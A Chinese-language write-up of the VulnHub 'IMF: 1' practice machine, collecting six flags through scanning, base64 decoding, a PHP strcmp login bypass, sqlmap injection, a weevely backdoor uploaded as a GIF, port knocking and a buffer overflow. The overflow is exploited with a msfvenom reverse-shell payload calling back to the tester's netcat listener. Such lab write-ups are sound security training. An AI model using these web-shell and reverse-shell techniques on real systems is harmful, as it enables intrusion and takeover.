VulnHub-IMF: 1 靶场渗透测试
时间:2021.2.17
靶场信息:
地址:https://www.vulnhub.com/entry/imf-1,162/
发布日期:2016年10月30日
目标:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。 国际货币基金组织是一个情报机构,您必须破解它以获取所有标志并最终扎根。 这些标志起步容易,随着您的前进而变得越来越难。 每个标志都包含下一个标志的提示。 我希望您喜欢这个虚拟机并学到一些东西。
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.132
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.135
得到开放的端口信息:
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3、网站信息收集
由于开放了80端口,打开浏览器访问一下
在点击Contact us的源代码里找到了flag1
flag1{YWxsdGhlZmlsZXM=}
flag里面像是base64密文,我们解密得到allthefiles,继续找找看还有没有遗漏的base64密文
这三个js的文件名看着都挺像base64密文,我们挨个解密,发现解不出来,那我们拼接起来看看
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解密之后得到flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
同样对flag里面的字符串解密得到imfadministrator,对于这两个flag里面的明文可能是留给我们的文件名,我们访问看看
imfadministrator的源代码里留下了一句话,查看该页面源代码,可以得到提示信息, 也就是说通常使用==和strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass换成pass[],很巧妙的绕过了!
我们回到最初页面看看contact us里再找找看有没有有用的信息,在页面的下方发现了三个用户
分别是rmichaels、akeith、estone,回到刚刚那个登录界面,我们用BurpSuite抓包
通过将密码字段名称更改为pass[],用admin、administrator、imfadministrator作为账号返回数值都和测试账号一样,然后用rmichaels当用户名进行提交
登录成功得到flag3,同样base64解密得到continueTOcms
flag3{Y29udGludWVUT2Ntcw==}
继续点击查看,这里用sqlmap看看可不可以注入
二、漏洞探测
先用burpsuite抓包,并保存,然后用sqlmap
sqlmap -r page.txt --risk=3 --dbs --dump --batch --threads=10
发现表中pagedata字段里面有图片的路径,我们打开看看
发现有个二维码,扫一扫发现flag4,解密得到uploadr942.php
flag4{dXBsb2Fkcjk0Mi5waHA=}
三、漏洞利用
访问http://192.168.137.135/imfadministrator/uploadr942.php
发现这里可以上传文件,这里直接用weevely这款工具,使用可以参考:
先生成一个后门的php进行上传
这里上传php失败了
将php文件改为gif,成功上传,上传完后查看源代码
上传成功后,进行连接
weevely http://192.168.137.135/imfadministrator/uploads/d064f1d8f530.gif hello
查看flag5,解密得到agentservices,字面意思是代理服务
flag5{YWdlbnRzZXJ2aWNlcw==}
我们找找看看有什么和agent相关的文件
这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件,查看之后,发现有代理在执行,端口7788也有代理在执行
到/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467,这边使用knock敲门(基于python3 就是撬开端口的意思)
git clone https://github.com/grongor/knock.git
这样就敲开了靶机的7788端口,前面我们运行/usr/local/bin目录下的agent会需要输入ID,这边我们从agent文件下手,先把他传到kali本地
file_download /usr/local/bin/agent /root/agent
这边查看到agent是ELF32位文件,将文件提权后执行,随意输入任意ID,ID不对退出后,使用ltrace(跟踪进程调用库函数的情况)查看agent信息
这边获得了正确的ID,48093572
四、提权
要通过缓冲区溢出7788端口的agent程序,这边用二进制修改exp为该程序创建一个利用程序,首先我们为msfvenom有效负载创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.137.150 LPORT=6666 -f python -b "\x00\x0a\x0d"
将文件写入本地agentsploit.py中,利用二进制py修改exp进行提权
然后本地 nc -lnvp 6666
连接成功,获得flag6,解码为:Gh0stProt0c0ls
flag6{R2gwc3RQcm90MGMwbHM=}
总结
前面的flag还挺好找的,到了后面关于缓冲区溢出方面的难度就很大,接触的比较少,也是自己薄弱的地方,还需要大量的时间去理解。